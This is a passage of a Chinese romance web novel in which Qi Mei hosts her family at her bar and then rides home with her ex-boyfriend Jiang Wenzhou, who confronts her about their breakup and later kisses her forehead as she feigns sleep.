“时不时就有女同学给他递情书,直接表白的都有。”纪达回忆到这里,扭头跟江眀琮说,“记得吧,有一个有个女同学,在操场那儿弹吉他,唱《月亮代表我的心》,唱完刚好齐天远从那儿路过,她就喊齐天远我喜欢你,哎哟,可真轰动。” 齐眉边听边骄傲,听到这里忍不住哇了一声:“那个时候大家这么……开放么?我还以为以前会很保守,不会这么大声说喜欢的。” “你这是想当然了。”孙茂芸笑呵呵道,“我们那会儿,大学生是最新潮的一群人,敢想敢做,前卫得不得了,你们现在小年轻做的那些事,都是我们以前玩剩的。” “可能也跟我们学校在容城有关,这边是开放的前沿。”江眀琮笑着接过妻子的话,“后来毕业,大家都分配到不同地方去了,有些都没见过了。” 齐眉忍不住看着纪达问:“那我爸爸……后来为什么没做这行?他和我妈妈是怎么认识的?” 纪达刚要解释,就听孙茂芸和江眀琮一齐笑出声来,不由得一愣。 “你别管她,她就爱听这个故事,从小到大不知道讲多少遍了。”孙茂芸吐槽着解释道。 齐天远毕业后因为父亲生病,还有家里一些其他变故,急需要钱,就放弃了成为警察的机会,投身生意场,所识都是三教九流的人物,肖骊因为一次案件需要打听消息,江眀琮给她推荐了齐天远,俩人就这么认识了,后来合作过几次,关系越来越熟,渐渐生出情愫,就走到了一起。 这个故事齐眉听过很多次,但还是乐此不疲,甚至在少女时代还会各种脑补。 比如妈妈是不是被爸爸的帅气吸引啦,爸爸如何折服于妈妈的英姿,拜倒在警裤之下,充满了小女生的浪漫和憧憬。 大人们总是不会打击她的,觉得人生还是需要一些幻想,那些险象环生的生离死别还是不要让她知道了。 纪达知道以后,一边笑,一边把这个故事又给她讲了一遍,甚至丰富了一些细节:“你妈妈有一次受伤去医院做手术,术后麻药没过就一直睡着,你爸以为她出事了,趴在她床边哭,硬是把她给哭醒了,她给我写信的时候还特地这了这件事,说给我讲一个笑话。” 齐眉听得眼睛都睁大了,咬着筷子尖,歪着头,对面的江问舟看着她,实在没忍住,抿着嘴角就笑了起来。 笑意爬上他眼角的那一刹那,恰好被听完故事的齐眉及时捕捉。 她先是一愣,这人竟然没有阴阳怪气诶! 随即被他柔和的眉眼晃得眼前一花,恍惚间回到了从前,每次她要听这个故事,他就会喊她换台。 后来有一次他给她发了一张图,说是在网上看到的,很适合她。 图片上一只金渐层仰着肉乎乎的脸,胡须飞得乱七八糟,配的文字是“妈妈妈妈,可以再讲一遍你在一群小猫中选中我的故事吗”,他说看到就想起她要爸妈讲她父母爱情故事时的样子。 她坚决不承认,说我不可能这么幼稚,被他笑话了好久。 那时他的眉眼也像现在这样,凝着一层满满的笑意,笑得她忍不住脸孔发热。 她想起这些旧事,不自觉的有些出神。 江问舟发现她的目光有些发直,虽然不知道她在想什么,但他还是忍不住笑了一下,这才转开眼。 齐眉只觉得自己的视线又变花了一点。 “这还有个鸡翅,西西吃不吃?” 孙茂芸的声音将她神游的意识拉了回来,顶着一张火辣辣的脸,心里慌得一批,胡乱哦哦应了两声,伸碗接过孙茂芸夹过来的鸡翅,低下头去不敢再朝对面看。 幸好大人们聊得起劲,都没注意到她的失态,让她逃过一劫。 吃完饭,一行人往齐眉店里去,离得也不算远,开车二十来分钟就进入内环路了。 江问舟不是第一次到这边来,但以前都是匆匆路过,从没仔细注意过途经的景色。 于是忍不住认真听齐眉和纪琏的对话:“这一带感觉公司比较多?” “是,4S店也多,前面那栋大厦是个服装城,批发衣服的,便宜实惠,小纪哥你有兴趣的话可以来看看。” “那在这边开酒吧客人多吗?” “还行,我们很多客人就是附近工作的上班族,还有大学生,前面有音乐学院和第二师范大学,往前走还有个小剧场,这两年在那儿办脱口秀的喜剧演员还不少呢。” “看着还挺热闹的,小饭馆也多,看着很有烟火气。” “……这边商品房房价平均四万一平,还是二手的,开店店租也不便宜,但是比另一边,就是沿江路酒吧街那边,便宜起码三成。” 就这样,在纪琏感慨大城市房价就是高啊的声音里,车子在思齐路的其中一个小路口停了下来。 齐眉说下车吧,“往里走就会看见我们店了。” 下了车,抬头往马路前方一看,高悬的路牌上向前的箭头顶着“音乐学院路”几个字,向右则是沿江路。 再转个身站在路口往里看,就看见No.12Diner&Lounge亮着的彩色灯牌,闪闪烁烁不断变换颜色,看起来很有夜店的气氛。 但门口却是一个复古的电话亭造型,透过落地窗可以清晰地看到里面柔和的灯光,推门进去,率先映入眼帘的一盆生长得很茂盛的散尾葵,长得很高,感觉已经快到天花板了。 顺着仰头看盆栽的角度,可以看到由木板和木梁组成的天花板上悬挂的吊灯,正散发着柔和得有些昏黄的暖光。 门边就是落地座钟,右边是很宽大的吧台,吧台正对着的落地窗边摆放着几张简单的雕花铁艺双人桌,角落里楼梯蜿蜒向上,楼梯口处一组同是胡桃木色的矮柜,墙上挂着一幅油画,看样子是猫戏图。 店门左边空间更加宽敞,角落和墙边同样有绿植点缀,百合竹和龙血树的叶子在灯光里呈现出发暗的墨绿色。 这边摆放的都是沙发卡座,丝绒沙发、雕花烛台,头顶灯光落下来,像是加了一层老电影的滤镜,极有氛围感。 “喜欢看调酒师工作的,可以选择吧台那边的座位,想要和朋友闲聊,或者更喜欢自己待一会儿的,建议这边的沙发座。” 齐眉一面介绍着,一面往那边张望,问道:“大家坐那边沙发怎么样?舒服点,可以坐得开。” 孙茂芸往那边看了一眼,指着角落的位置道:“就那儿吧,靠窗能看到外面,还能看到吧台,我们想看看你工作的样子呢。” 齐眉闻言抿着嘴笑起来,点头应好。 田乐和佟林挤在吧台的转角冲大家打招呼,江眀琮对纪达说:“老陆安排的人。” 纪达听了先是问老陆是谁,等他听明白是肖骊在信里提过的那个小老弟,便眉头一挑:“他的人也就现在敢用了。” 江眀琮闻言笑起来,摇摇头。 田乐和佟林对视一眼,默默地退回自己的工作岗位上。 江问舟抬头打量一圈四周,忽然出声问道:“楼上是做什么的,休息室?” 听到他发问,齐眉连忙转头,看着他回答道:“有一间休息室,还有仓库,另外主要是西点厨房,清葭姐负责店里的烘焙类产品,都在上面制作,还是一个蛋糕的DIY教室。” “你们这儿业务很丰富啊。”纪琏感慨道。 “现在生意不好做,还是要尽量多开拓一点市场。”齐眉应了句,问大家要不要上去看看。 “厨房没什么好看的。”孙茂芸摇摇头,招呼大家过去坐,“别堵在门口影响客人进出。” 看他们往卡座方向走,齐眉转头去吧台拿酒单。 然后就发现,除了孙茂芸能小酌一杯,其他人似乎都不能喝酒。 江眀琮和纪达是身体原因要戒酒,纪琏决定一会儿回去时他来开车,也不能喝,江问舟就更不能了。 “一会儿你们先回去,我等西西下班。” 齐眉闻言立刻看了他一眼,咬了一下嘴唇,没说话。 孙茂芸一面应好,一面看着酒单,对齐眉道:“来一杯月黑风高,这名字听着就刺激。” 江眀琮跟她讨价还价:“你一会儿让我喝一口,行吧?” “不行,老纪都不喝,你好意思?”孙茂芸一把甩开他,对齐眉道,“给你爸来一杯果汁混合的无酒精鸡尾酒,茶底都不行,年纪大了本来就觉少。” 在两位大人的长吁短叹里,齐眉忍着笑点点头,给他们一人来了一杯菠萝汁、橙汁、柠檬汁和蔓越莓汁调配的灰姑娘。 就这还要被江问舟提醒:“只能一杯,不然你们的血糖别想要了。” 太惨了家人们!来酒吧坐坐,不能喝酒就算了,果汁也不给喝,这就是年纪大了的惨状吗! 江问舟和纪琏一个要的是无酒精版本的莫吉托,一个要了苹果冰茶。 齐眉又做主要了几个小食,薯条和鸡翅就不限制他们了,还有火腿拼盘,点完了她小心问道:“干爸和纪叔叔……能吃蛋糕吗?很小的,就两三口,抹茶蛋糕。” 说的时候还看着江问舟。 江问舟无语,半晌才说了声:“……吃吧,就一块。” 齐眉这才欢快地走了,背后还传来一阵笑声,她也觉得忍俊不禁。 很快酒就调好,齐眉亲自送过去,刚把酒给大家放下,背后突然被拍了一下,紧接着一支玫瑰花出现在面前。 她吓了一跳,下意识往后一仰。 大家也都望向送花的人,见是个穿着火辣的性感美女,孙茂芸他们立刻好奇起来。 唯有江问舟脸色微微一顿,看着对方的目光瞬间变得警惕起来。 ————— 江问舟对女人送齐眉玫瑰花这事十分敏感,说一句草木皆兵都不为过。 因为在齐眉大五那一年,认识了一位取向为女的学姐,但刚开始他们谁也不知道这事。 学姐人还不错,齐眉跟她值班她十分照顾,请吃饭和喝饮料就不说了,很多带教都会做的事,此外还十分细心地教了她不少专业上的技巧。 齐眉神经系统查体就是在对方手把手的教学下,改掉了以前一些江问舟怎么都纠正不过来的小毛病,他知道的时候还十分欣慰。 学姐还经常在休息日的时候叫齐眉出去玩,逛街吃东西,或者去唱歌,还有露营和爬山,他每次都鼓励齐眉出去玩,劝她多走走。 直到有一天他无意中看到学姐摸齐眉的头发。 按理说,女孩子之间表示亲近和想贴贴,都有可能摸摸对方头发,但当时他就是觉得奇怪,总感觉气氛不对。 于是他立刻叫了声齐眉,以有事为由,把她带走了。 临走还看到对方遗憾的眼神,顿时心里跟吃了苍蝇似的。 他委婉地问齐眉和师姐关系怎么样,齐眉说好着呢,他问是不是很亲近,比如是不是经常摸她头发之类。 齐眉想了想说是,但她觉得没什么问题,女孩子关系好的都这样,一起去上厕所,走路的时候手挽手,诸如此类。 他觉得很怪,又怕是自己想多了,误会了人家,于是犹豫好几次,都没把心里话说出来。 只是在她们要一起出去玩的时候,问她晚上是不是自己住一间房,得知不是,便坚决另外给她订了一间房,她回来以后说,学姐问我,你是不是特别防着她。 他没好直说缘由,找了个不能占别人便宜的理由搪塞,又旁敲侧击地提醒,如果学姐有对象,她们走太近的话,可能不太好。 齐眉倒是听进去了,后来再一起吃饭或者出去玩,她都尽量和对方平摊花费,有时候也请对方吃吃下午茶,尽量有来有往。 一直没什么事发生,就在江问舟放下心,以为是自己想多了的时候,她突然大惊失色地跑来找他,说学姐疯啦,居然说喜欢我,要我当她女朋友?! 那种震惊又疑惑,好似三观都被打碎了一样的表情,江问舟这辈子都忘不掉。 他一开始的预感竟然没有错。江问舟觉得吊在头上的那只靴子落地了,他忙问齐眉怎么想。 那种紧张忐忑的心情比当初选导师等待回复时更甚,那是他第一次意识到,自己根本无法接受齐眉成为某个人的女朋友这个可能。 我的妹妹只能是我的,永远都是我的,是我一个人的。 所幸齐眉立刻摇头,说当然不行了,然后拉着他的袖子,紧张兮兮地问他怎么办。 拒绝呗,还能怎么办。最*后是他陪着齐眉去跟人家说清楚的,齐眉说我喜欢男的,比如我哥这样。 学姐语气幽怨:“你直接点,说你喜欢你哥就完了呗。” 尴尴尬尬的,好歹是把这件事了结了,但江问舟从那会儿就知道,自己的情敌可太多了,不管男的女的,都得防一手:) 所以当父母他们都好奇齐眉送花的是谁时,他并没有因为对方是个女的,就掉以轻心。 齐眉抱着托盘回过头,看清送花的人,是上次跟她抱怨男朋友不解风情是个木头的那位女客人。 她顿时便笑起来,接过花问道:“不会是借花献佛吧?” 对方笑嘻嘻地点头,声音还是那样娇滴滴的:“老板你好厉害!一猜就对了!” “是我男朋友刚送我的啦,我拆出来,送你一支,一起分享呀,而且……”她妩媚的眼睛一转,脸上露出带着羞涩的喜悦来,“他跟我求婚了诶!” 说完嘻嘻笑了两声,竟然冲孙茂芸他们说:“相逢就是缘,叔叔阿姨,今天我请大家喝酒呀!” 齐眉顿时失笑,推着她走:“这是我家爸爸妈妈,不要你献殷勤。” “咦,系咩?我这么厉害啊,一猜就中!”接着是一阵欢快的笑声。 孙茂芸他们顿时忍俊不禁,觉得这姑娘真有意思,说要是齐眉每天在这儿遇到的都是这样的客人,好像也会挺开心的。 不过孙茂芸话音一转就是:“可是哪儿可能啊,服务业最可能遇到奇怪的人了,我跟老江第一次来的时候,就碰到有个姑娘喝多了,把内衣一脱,就往吧台里头扔,把西西给吓够呛。” 齐眉当时根本没见过这种场面,吓得都不知道怎么办才好,幸好佟林和田乐在这一行算是老江湖了,见多识广,赶紧找了个人少的地方把对方摁着坐下,灌了一杯醒酒茶,然后让对方自己清醒。 “所以说喝酒容易误事嘛。”纪达笑着摇摇头。 江问舟在大家的说笑声里松了口气,原来人家有对象的,幸好…… 不过为什么送的是玫瑰花,她男朋友送她正常,她为什么要转送给齐眉?这不合适吧:) 想到这里,江问舟忍不住撇了撇嘴。 晚上店里的生意不错,几乎都坐满了,齐眉没法闲下来去跟家里人说几句话,站在吧台后面不停地忙碌。 一边摇晃着雪克壶,一边听田乐跟她说这几天哪款酒卖得比较好。 “那个红楼十二钗系列还挺受年轻女孩子欢迎,前天来了三个女生,一人四杯,把整个系列都点了一遍。” “喝这么多呀,最后没什么事吧?” “那倒还好,就是看着走路有点飘,但意识还清醒。” “那就好。”齐眉应着,将混合好的就过滤倒入杯子里,加上装饰的一串青提。 江问舟端着自己那杯无糖莫吉托,看着她端着盘子从面前经过,走到隔壁桌。 接着就听到客人问她:“怎么没见到你家年年啊?我还给它带了零食呢,鸭肉干,我家豆豆可喜欢了,我给它好朋狗带一点,怎么没见狗呀?” “今天没来呢,在家。”齐眉笑着解释道,“今天下午出门的时候不方便带它,就没带。” 客人哎哟一声,忙问:“那你一会儿自己回去没事吧?” 看来是熟客,都知道她这儿发生过什么事,江问舟想着,低头抿了一口杯子里的饮料。 薄荷的清凉和青柠的酸爽在口腔里达成平衡,变成清爽,酸度被糖浆中和,所以留下一股酸甜的余韵,刺激着唾液分泌。 他听到齐眉说:“没事,今天家里人来店里坐坐,我有人一块儿回去的。” 当即抬头,恰好看见她转头看过来。 彼此的视线在半空中短兵相接,出现了片刻的凝滞,随即她率先避开,只留他的目光在原地徘徊。 客人也抬头朝他看过来,笑着和他点点头,接着把东西递给她:“那行吧,就拜托你带给年年了。” 齐眉连忙道谢,回了吧台没一会儿,又来给对方送了一杯酒。 接着回头问自家人:“你们喝不喝椰子呀?我给你们开个椰青吧,喝椰青没事的,纯天然无添加,低糖低卡,夏天喝椰子还能解暑。” 不知道的还以为她是要卖椰子呢,大家笑着给一人来一个,她就屁颠屁颠的走远了。 江眀琮这时说了一句:“她那会儿闹着不要去医院上班,要开店,我们都以为过不了几天她就撞到南墙,现在看着居然也还行。” “人生又不是只有一条路可以走的,要我说,你们就是瞎操心,越操心越管得多,孩子越不乐意听。”纪达一面吐槽,一面将奶酪小球、火腿片和苏打饼干组合到一起,塞进嘴里。 江问舟抬头往吧台那边看,想起自己一直以来耿耿于怀的事。 齐眉在吧台后面开椰子,她一次性开了十二个,让田乐他们一人拿一个,正准备想办法给大家拿过去,就见江问舟正朝自己这边看过来。 她歪头想了一下,试探地对着他做了个双手合十的拜托动作,然后咬着嘴唇,下意识地屏住呼吸等待他的反应。 江问舟觉得自己就算隔着那么远的距离,还是能清楚感觉到她的忐忑。 心里左边的小人说:“不理她!她那么能,什么都要靠自己,要我做什么?” 右边的小人劝:“你这样显得很没风度。” 自己跟自己左右互搏半晌,他叹了口气,杯子一放,还是认命地起身过去了。 见他肯过来,齐眉这才松了口气。 他完全可以不理会她的,但他还是来了,这也算是一个好迹象,不是吗? 她有点意识到,其实她是不愿意和江问舟把关系闹僵的。 尽管这样真的显得她很强人所难,很任性。 “拜托你帮忙把椰青拿给大家。”她撑起笑脸,冲江问舟客气道。 江问舟点点头,接过她递过来的两个托盘,一次性带走六个椰青。 田乐是第一次见他,有些好奇地问齐眉:“阿眉,这是你哥啊?” “……我干爸干妈家的。”齐眉犹豫了一下,还是用了以前以前那样的方式介绍江问舟。 田乐哦哦两声,说了一句:“人看起来有点高冷哈。” 齐眉嘴角扯了一下,没解释什么。 他哪儿是高冷,他是对她有意见。 孙茂芸他们没坐多久,差不多晚上十点的时候,就要先回去了。 走的时候过来吧台嘱咐她:“我们先回去了,舟舟在这儿等你,差不多了就回家,听到没有?” 齐眉忙乖巧点头。 抬眼的时候看见江问舟站在门口的座钟旁边看着自己,顿了顿,试探道:“要不……舟哥也回去?我可以自己回去的。” 话音刚落,就见江问舟拉着脸瞪了她一眼,转身就往外走。 齐眉:“……”好好好,又得罪他了:) 这人现在真的好阴晴不定,他以前不是这样的,他以前都舍不得瞪她! 齐眉心里骂骂咧咧,把气都撒在调酒壶上,摇雪克壶的动作用力得像是要用它去砸人。 田乐和佟林察觉这一点的时候,先是一愣,随后对视一眼,都从对方的眼中看到了疑惑。 阿眉今晚好奇怪,情绪起伏不定的,来大姨妈啦? 江问舟将父母他们送到门口,看着他们上车,被孙茂芸嘱咐:“你早点跟西西说收工哈,老板要有老板的样子,不早退算什么老板。” 江问舟顿时失笑,点点头应了声好。 看着车子汇入车里走远了,他才转身回店里,进门之后停在门口犹豫几秒,选择了坐到吧台旁边。 吧台边已经有客人,点了一套shot,总共有八杯,因为是熟客,齐眉亲自给对方调,江问舟坐过来的时候,她刚好调完一杯shot版的玛格丽特。 蓝色的酒液在小巧精致的shot杯里倒映着幽幽的光,杯口半圈盐边,还有一角青柠片做装饰。 她将酒递给客人,然后问江问舟:“干妈他们回去啦?” 这不废话么,不然呢?江问舟看她一眼,点点头,将带回来的平板往吧台上一放。 喝酒的客人见状当即表示惊讶:“不是吧兄弟,你来这儿处理工作啊,要不要这么拼?” 说完也不等江问舟给反应,自顾自地说着什么老板的路虎跟你又没关系,但是病了呢,医药费跟你有关系,吧啦吧啦。 话多得一听就是喝得有点多了,江问舟无奈地摇摇头。 齐眉忍俊不禁,又不敢直接笑他,只好咬着嘴唇忍住笑,低头在柜台下方的柜子里找到一个应急的充电台灯。 摁亮了放他旁边,小声说:“亮一点,保护眼睛。” 江问舟抬眼看她,一时也不知道该用什么表情面对她,半晌才道了声谢。 齐眉抿着唇笑笑,摇摇头,低头继续给客人调酒。 过了一会儿,又递给江问舟一杯苏打水。 江问舟察觉,看资料的动作一顿,过了一会儿,才伸手拿过水杯。 齐眉看见,又抿着唇笑起来。 整理了一会儿论文资料,江问舟被切换的音乐声吸引,抬头时看见齐眉还在调酒,手腕一翻,量杯里的酒就倒进了雪克壶里。 动作轻盈流畅,有种灵巧的美感。 他有片刻的失神,忽然想起她当年练习外科打结时的模样。 从有些许笨拙,到熟练精通,中间练习过无数次,腱鞘炎都差点犯了。 那么现在这么熟练的调酒动作,她又练习了多久呢? 雪克壶摇动时发出的“沙啦沙啦”声将他的神智唤回,抬起手腕看一眼手表,刚好零点整。 “当——当——” 背后传来座钟报时的悠扬击打声,他伸手按灭了台灯。 抬起头,冲着吧台里的人淡淡地说了句:“该下班了。” ————— 听到江问舟提醒自己下班,齐眉这才注意到时间。 原来已经零点了,她恍然大悟地回过神,有些抱歉地冲他笑笑。 “马上就好,你再等等。”她说完又觉得自己语气不太合适,想问可以吗,出口的却是,“好不好?” 刚说完,立刻就愣了一下,下一秒立刻低头。 根本不敢再看江问舟的神情。 好不好?这样带着一点柔软撒娇的询问,是她以前最常对他说的,因为知道这样他一定无法拒绝,久而久之就成了习惯。 这个习惯在和江问舟分开后她很努力地忘掉,渐渐习惯“怎么样”、“可以吗”之后,她以为自己已经彻底改了,可它又这么猝不及防地冒了出来。 人的习惯有时候真是不可理喻。 她觉得自己有些尴尬,脸上温度也在攀升,一时又沮丧,觉得完啦,肯定又要被讨厌了。 江问舟确实被她这句“好不好”问得愣住了。 时间好像刹那间回到从前。 “舟哥,我听写作业你帮我听好不好?” “舟哥,放假我想去游乐园,干妈没空,你带我去好不好?” “舟哥,我的查体操作还有好多没练过的,你给我当模特好不好?” “江问舟,我们去拍那个艺术照吧,就是那个情侣的,好不好?好不好嘛!” “江问舟,我走累了,你背我好不好?快快快,你说过可以背我一辈子的!” “江问舟,我们……分手吧,好不好?” 熟悉的酸涩又一次涌上眼底,江问舟觉得胸闷气短的感觉又来了,立刻深呼吸,屏住气。 半晌才吐出一口气,应了声:“……好。” 声音有些低,但语气却是软和的,像他曾经回应过她无数次那样,透着温和的无奈。 他总是拿她没办法的。他以前这么说过。 齐眉倏地抬头,有些不可置信地看向他,但却只在他脸上看到一片平静。 仿佛一口处于深山之间不见天日的幽潭,毫无波动,只剩下静态的沉寂。 她心口一闷,有些失望地收回目光。 连她自己都没注意到,她心里到底在期待什么。 将台面上的东西扫进垃圾桶,调酒壶在洗杯器上按了一下,简单冲了冲,然后放进水槽。 接着把身上的围裙摘了,一边洗手一边跟佟林道:“我就先回去了,这里麻烦你们再忙一会儿。” “行,你先回去吧,路上注意安全。”佟林爽快答应道,把一杯做好的Enzoni递给客人。 江问舟已经收起平板电脑,靠在吧台边,看着齐眉洗手的动作。 经典的七步洗手法。 他还记得她刚上大学那会儿,学会了七步洗手法,每次洗手都会念念有词:“内外夹弓大力腕,每步至少来回五次……” 那样子很有意思的,很……可爱。 佟林给客人送完酒,扭头见江问舟笑吟吟地看着他们这边,便客气道:“江先生以后有空多来玩。” 江问舟毫不意外他会知道自己的姓名,成叔的人,从来不缺打听消息的本事。 “好,下次一定叨扰。”他点点头,温声答应道。 齐眉洗干净手,扯了张纸,边擦手边要往外走,路过出餐窗口,被汪淼叫住:“姐!蛋挞,蛋挞吃不吃,来一个边走边吃啊?” 话音刚落,一个成年女性巴掌大的蛋挞就递了出来,在昏黄灯光下蛋挞显得更加金黄,酥皮分层明显,中间因烘烤而形成的焦斑看上去格外诱人。 齐眉接过,道了声谢,一边咬了一口,一边伸手在吧台下的柜子里摸索,找到自己的包,接着往肩膀上一挎。 蛋挞的酥皮就这样落了一些在她衣服上,江问舟看见,目光不由自主地一顿。 他脑海里一会儿是想帮她把碎屑拍掉的冲动,一会儿是突如其来的深切疑惑。 齐眉什么时候变得……这么不拘小节了? 好像他以前认识的那个总是精心打扮,动作优雅斯文的齐眉,是平行时空的另一个人。 齐眉从吧台一侧出来,在他面前站定,笑了一下:“可以走了。” 江问舟点点头,视线一垂,发现刚才不小心掉在她衣服上的一点碎屑已经不见了。 再看她吃蛋挞的动作,又变回了他熟悉的用手接在点心下面。 但吃东西的动作却也不算很斯文,张大嘴一口下去,蛋挞没了三分之一,倒是腮帮子鼓起一块,还没走到门口,蛋挞就吃完了,总共就吃了三口。 然后她拍拍手掌,伸手去推门。 江问舟跟在她身后,观察着她的每一个动作,那种掺杂着陌生的熟悉,反复在告诉他,齐眉和以前不一样了。 可是为什么会不一样呢?人那么多年养成的习惯,是短短两三年的功夫就可以完全改变的吗? 好像是可以的,那是两三年,几百个日夜,而不是两三天,几十个小时。 但也有可能,他从前一直熟悉的,是齐眉想让他看到的她的样子。 那个精致漂亮,优雅动人的齐眉。 不心疼,更想骂人。江问舟跟在她身后沉默地走着,后牙槽有着发痒。 齐眉其实想说话,但不知道该说什么才好,她有些怕万一说错话,又要让江问舟不高兴。 万一他不高兴,把她扔这儿可怎么办? 虽然按照以前对他的了解,他做不出这样没风度的事来,可万一呢?! 但是走在一起不说话,又真的太尴尬了,于是她一直闷头走路,越走越快,越走越快。 直到她听见背后传来一句很无语的:“再走你直接走路回去吧,好吗?” 猛地急刹车,抬头略有些茫然地看一眼两边,才发现,哦,走过头了。 赶紧点头一溜烟小跑回去,脸上烫得都快能煎鸡蛋了,真庆幸这会儿是半夜,路灯光线也就那样,反正看不清她的脸红没红。 齐眉拉开车门坐进副驾,刚系好安全带,就听见江问舟叩了两下方向盘。 笃笃的声音听起来似乎隐含催促。 齐眉手顿了顿,忍不住飞快看一眼他的脸,只看见一片沉静,唇角微抿着,眉心也微蹙。 她立刻收回目光,捏着安全带低声说了句:“好了。” 话音刚落,车子即刻启动。 似乎更加坐实她刚才的猜测,这人就是不耐烦了,是吧?是的! 她垂下头,看着自己扭在一起的手指,心里又有些难过了。 可江问舟扭头看她一眼,却以为她是困了。 一般来说,半夜十二点,确实是该困了,可他没想到,齐眉现在已经习惯了熬夜。 或者说,以前也熬,但在他的管束下没那么频繁,除了值班。 所以他便想当然地道:“困了就先睡,到了叫你。” 齐眉愣了一下,抬起头,说了句不困,犹豫片刻,还是问道:“林师姐的事……大家都知道吗?” 说的是晚上吃饭时,江问舟提起的同学林晓枫去世的事。 江问舟闻言嗯了声:“单位里,还有同学群,认识的人都知道,还凑了一笔慰问金,派了个同学当代表去看望过家属。” 齐眉哦了声:“……可惜我不知道。” 江问舟刚想说你不知道的事多了,两三年时间,够发生很多事了。 可还没来得及开口,就听她突然问:“你是不是恨我?” 语气突兀又急切,江问舟被问了个措手不及,错愕地扭了一下头。 握住方向盘的手一歪,原本直线行驶的车子也跟着一歪,漂移似的向前冲了一段,又被回过神的江问舟重新稳住。 他像是没听清齐眉刚才说过什么似的,反问道:“你说什么?” 齐眉捏着安全带,心里一点都没有对刚才危险车况的害怕,而是低着头,一字一句地重复:“江问舟,你是不是恨我?我知道你……” 她想说她知道自己的做法确实绝了点,可是分手不就是这样的吗,纠纠缠缠的算什么分手,那叫吵架。 可是话没都没来得及说,就被江问舟打断了:“不,与其说我恨你,不如说……我恨我自己。” 齐眉一怔,舌尖被牙齿狠狠咬了一下也没觉得痛,只愣愣地看着他在路灯照进来的光线里明明灭灭的脸孔。 大概是察觉到她的视线,江问舟的嘴唇抿得更紧了,眉头皱成一个深深的川字。 等到齐眉回过神,忍不住要问为什么的时候,他又抢先开口了,反问她:“你当时为什么会……会觉得自己是对的呢?为什么不把那件事告诉我?为什么觉得你用自己的委屈去交换……是对的呢?” 齐眉被问得哑口无言,只能狼狈地转过头。 江问舟发出一声哼笑,似冷淡,又似嘲讽。 说出来的话尖锐无比:“无非是你不信任我罢了,齐眉,从头到尾,你信的只有自己。” 她相信自己可以搞定他,所以多年如一日地坚持,完全渗透进他的生活,像猎人打开了一张网眼最细的大网,再用甜言蜜语俘获猎物,让猎物哪怕发现自己掉入陷阱也甘之如饴。 她相信自己是为他好,所以甘愿忍受委屈,把掉下来的牙齿往肚子里咽,她说这叫长痛不如短痛。 可是,“你为什么不问问我,需不需要你受这份委屈?” 既然她不问,那他就要问了,“齐眉,你有没有想过,我们之间……有什么原则性的问题,解不开的死结,必须分开吗?” “根本没有,不是吗?” 齐眉扭着头,眼神毫无焦点,根本不敢回头去看江问舟,他的这些话,每一个字都像一枚子弹,直射她的心底。 在本来就不算平静的心湖砸出一个接一个大坑。 她突然想到一句话,“就怕队友人蠢还积极”,她现在觉得自己就是这个队友。 心里情绪复杂得很,一会儿是不被他领情的委屈,一会儿是被他质问的尴尬。 她觉得后悔了,刚才不该问他是不是恨自己的,如果没问,他就没机会说这些话,她也就不会…… 可是真的没机会说吗?听江问舟这番话,不像是临时话赶话能说得出来的。 更像是他已经想了很久,就等着找机会来问她,就算不是今天,也会是明天、后天。 可是齐眉不知道,也不敢回答他的这些问题。 她不吭声,江问舟有些话就没办法继续说下去,在喉咙里憋久了,就化成一声叹气。 他叹了口气,有些意兴阑珊,连声音都变得有些恹恹:“你睡吧,到家了喊你。” 这会儿齐眉决定自己是困了。 她沉默地放下座椅,刚要躺下,就听江问舟又说:“后座有毯子。” 又赶紧去找毯子。 似乎还听到他低低的叹气声,脸上顿时烧得更厉害了。 后座上有一个抱枕,白天时没注意,现在才发现表面的熊猫图案眼熟,好像是以前她买的。 而且还是买贵了,刚买完,就发现别家的同款更便宜,可她死活不愿意承认自己买贵了。 这人居然还把它带回来了,真的是…… 她抿着唇,把抱枕拉链拉开,抽出里面的毯子,刚盖上,就听旁边传来一句幽幽的:“怎么样,六十八的毯子,还可以吧?” 齐眉:“……”靠! 她不敢吭声,闭上眼就装睡,装着装着就睡着了。 江问舟听见她均匀的呼吸,趁着等红灯时扭头看了一眼,叹口气,将毯子往她胳膊上拉了拉。 从齐眉的店里回到江家现在的住处,大概要走两个半小时,回到已经快半夜三点。 江问舟没让孙茂芸下来,自己下车开了门,再把车开进去,又下车关上门,来回几次,才把车在停车位停好。 最后拉开副驾驶的门,弯腰将齐眉抱了出来,再抬脚踢一下车门,“嘭”,门关上了。 回到屋里,正好碰见孙茂芸下楼。 “哟,西西睡着啦?” “嗯,您快回去睡吧,我送她回房间。” “你也早点睡,有什么事明天起来再做。” “知道了。” 话音刚落,人已经到了齐眉房间门口,他伸手拧了一下门锁,用膝盖一顶,门就开了。 江问舟小心地将齐眉放到床上,给她盖上被子,转头开了空调,将遥控器放回床头的盒子时,顺便看了她一眼。 看见她的脸在床头灯最暗的光线里舒展着,嘴角似微微倔强地抿着。 他忍不住低头,在她眉心落下一个吻。 “咔哒”。 床头灯和房门再次关闭,室内重新陷入黑暗。 齐眉倏地睁开了眼。 第19章 第十九章(二合一)谁家好人会偷偷亲…… 其实齐眉早就醒了,被下车时那一声“嘭”的关门声惊醒的。 意识回笼的第一秒先是觉得有点不对劲,怎么感觉像在船上,有种身体没有支撑点,随时都可能掉下去的感觉。 接着才发现自己在江问舟怀里,不由得浑身一僵。 她不知道江问舟为什么不叫醒她,也不敢睁开眼问,那得多尴尬啊?她都不敢想。 于是只好继续装睡,听到他急促的脚步声,还有干妈下楼之后他们的交谈声。 这下更加不敢睁眼了。 不仅不敢睁眼,她还要尽量不动声色地扭过一点脸,朝向江问舟的怀里,不让人发现自己已经醒了的事。 但这样一来,她就离江问舟特别近了。 鼻尖处萦绕的全都是他的味道,熟悉的洗衣液味道里裹挟着男性荷尔蒙的气息,干干净净,让她想起他从前每天早上用的须后水和晚上用的沐浴露。 让人有一种温暖又安定感觉,如同他的拥抱。 上楼以后他开门的动作算不上轻,齐眉都以为他把自己放下的动作也会是这样的,但没想到接触到床铺的那一刻,会那么轻柔。 就像是小鸟被小心翼翼地放进了柔软的窝里。让她又生出一种被保护和珍惜的感觉。 而这种感觉并不陌生,过去有过很多次,她在客厅里睡着了,都是他把她抱回去的,有时候干脆是睡着在客厅,醒来在卧室。 等江问舟给她盖上被子,齐眉以为就到这里了,只等着他关灯关门出去好睁眼,顺便去洗个澡。 没洗澡就睡真的难受,这家房东修房子真是考虑周全,每个房间都是套房,有独立的卫生间…… 刚想到这里,就觉得一阵温热的气息在向自己靠近,她下意识地想屏住呼吸。 但是又不敢完全屏住,不喘气这不就穿帮了吗! 但她怎么都想不到,江问舟最后会亲她。 